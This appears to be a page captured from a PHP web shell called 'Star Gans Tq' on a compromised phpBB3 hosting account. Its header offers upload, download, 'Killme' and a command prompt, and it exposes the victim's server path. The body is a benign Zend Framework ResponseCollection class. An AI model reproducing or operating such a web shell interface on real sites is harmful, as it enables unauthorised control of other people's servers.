.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-eventmanager/src/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-eventmanager/src/ResponseCollection.php

    <?php
    /**
     * Zend Framework (http://framework.zend.com/)
     *
     * @link      http://github.com/zendframework/zend-eventmanager for the canonical source repository
     * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com)
     * @license   https://github.com/zendframework/zend-eventmanager/blob/master/LICENSE.md
     */
    
    namespace Zend\EventManager;
    
    use SplStack;
    
    /**
     * Collection of signal handler return values
     */
    class ResponseCollection extends SplStack
    {
        protected $stopped = false;
    
        /**
         * Did the last response provided trigger a short circuit of the stack?
         *
         * @return bool
         */
        public function stopped()
        {
            return $this->stopped;
        }
    
        /**
         * Mark the collection as stopped (or its opposite)
         *
         * @param  bool $flag
         */
        public function setStopped($flag)
        {
            $this->stopped = (bool) $flag;
        }
    
        /**
         * Convenient access to the first handler return value.
         *
         * @return mixed The first handler return value
         */
        public function first()
        {
            return parent::bottom();
        }
    
        /**
         * Convenient access to the last handler return value.
         *
         * If the collection is empty, returns null. Otherwise, returns value
         * returned by last handler.
         *
         * @return mixed The last handler return value
         */
        public function last()
        {
            if (count($this) === 0) {
                return;
            }
            return parent::top();
        }
    
        /**
         * Check if any of the responses match the given value.
         *
         * @param  mixed $value The value to look for among responses
         * @return bool
         */
        public function contains($value)
        {
            foreach ($this as $response) {
                if ($response === $value) {
                    return true;
                }
            }
            return false;
        }
    }